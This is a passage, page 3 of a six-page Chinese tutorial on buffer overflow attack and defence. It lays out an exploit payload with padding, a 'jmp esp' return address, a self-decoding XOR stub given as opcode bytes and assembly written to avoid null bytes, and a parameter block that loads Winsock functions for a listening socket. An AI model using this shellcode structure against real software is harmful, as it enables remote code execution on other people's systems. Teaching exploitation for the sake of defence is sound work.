WEB开发网
开发学院软件开发VC 缓冲区溢出攻防 阅读

缓冲区溢出攻防

 2010-02-19 20:33:10 来源:WEB开发网   
核心提示:其中,填充数据1用来填充返回地址前的所有内容,缓冲区溢出攻防(3),本例就是szComputer占用的空间;返回地址就是“jmp esp”指令的地址;填充数据2用来填充返回地址和stubstubcode之间的内容,本例是参数sck占用的空间;stubstubcode、stubparam和stub

其中,填充数据1用来填充返回地址前的所有内容,本例就是szComputer占用的空间;返回地址就是“jmp esp”指令的地址;填充数据2用来填充返回地址和stubstubcode之间的内容,本例是参数sck占用的空间;stubstubcode、stubparam和stubcode前面已经讲过;填充数据3则用于将stub打扮成正常字符串的样子,例如,补上结尾处的0字符等。

为了使用更方便,我定义了几个结构来表示整个stub。你可以看到,它们被“#pragma pack”编译指令固定为一字节对齐,这很重要,因为它可以:①减小stub的大小。栈上可供使用的空间不多,所以stub越小越好;②阻止编译器插入用于对齐的额外字节。如果编译器在STUBSTUBCODE或STUB中插入了额外的字节,我们的一切努力都将付之东流。

#pragma pack(push)
#pragma pack(1)
struct STUBSTUBCODE
{
  BYTE arrConst1[4]; //0x33, 0xC9, 0x66, 0xB9
  WORD wXorSize; //需要进行异或处理的数据的大小
  BYTE arrConst2[3]; //0x8D, 0x74, 0x24
  BYTE byXorOffset; //需要进行异或处理的代码的起始位置(相对于esp的偏移)
  BYTE arrConst3[4]; //0x56, 0x8A, 0x06, 0x34
  BYTE byXorMask; //使用此数字进行异或
  BYTE arrConst4[8]; //0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24
  BYTE byEntryOffset; //STUBCODE代码的入口地址(相对于esp的偏移)
  BYTE arrConst5[2]; //0xFF, 0xD0
};
struct STUBPARAM
{
  FxLoadLibrary fnLoadLibrary;
  FxGetProcAddr fnGetProcAddr;
  FxVirtualAlloc fnVirtualAlloc;
  DWORD dwImageSize;
  DWORD rvaAttackerEntry;
  char szWs2_32[11]; //ws2_32.dll
  char szSocket[7]; //socket
  char szBind[5]; //bind
  char szListen[7]; //listen
  char szAccept[7]; //accept
  char szSend[5]; //send
  char szRecv[5]; //recv
};
struct STUB
{
  BYTE arrPadding1[18];
  DWORD dwJmpEsp;
  BYTE arrPadding2[4];
  STUBSTUBCODE ssc;
  STUBPARAM sp;
  BYTE arrStubCode[1]; //实际上,这是一个变长数组
};
#pragma pack(pop)

STUBSTUBCODE对应的就是本文开头提到的11条汇编语句。参照stub的整体结构,我们不难写出它的具体实现。

xor ecx, ecx
     mov cx, wXorSize; wXorSize是要进行异或处理的数据的大小
     lea esi, [esp+ byXorOffset]; byXorOffset是需要进行异或处理的代码的起始位置
     push esi
xormask: mov al, [esi]
     xor al, byXorMask; 使用byXorMask进行异或
     mov [esi], al
     inc esi
     loop xormask
     lea eax, [esp + byEntryOffset]; byEntryOffset 是StubCode的入口地址
     call eax

其中的几个变量实际上要用常数替代,wXorSize是要进行异或处理的数据的大小,也就是stubparam和stubcode的大小的和;byXorOffset是这些数据的起始位置相对于esp寄存器的偏移,从结构图中可以看出它等于“sizeof(STUBSTUBCODE)”,同时,它加上esp后就是STUBPARAM的地址,我们要把这个地址传给stubcode,所以立即把它压进了栈中,具体请见下面的相关内容;byXorMask是异或掩码,也就是前面提到的数字n;byEntryOffset是stubcode的入口相对于esp寄存器的偏移,它等于“sizeof(STUBSTUBCODE)+ sizeof(STUBPARAM)+4”,多加一个4是因为前面又向栈里压了一个数。这段代码的前两句没用更直接的“mov ecx, wXorSize”则是为了避免出现0字符。

把代码和结构体对比一下,看明白了吧!结构体中的几个数组对应的是汇编代码中固定不变的部分,变量则是需要经常修改的部分。这种定义让我们有机会动态修改stubstubcode,减少手工的代码维护工作。

上一页  1 2 3 4 5 6  下一页

Tags:缓冲区 溢出 攻防

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接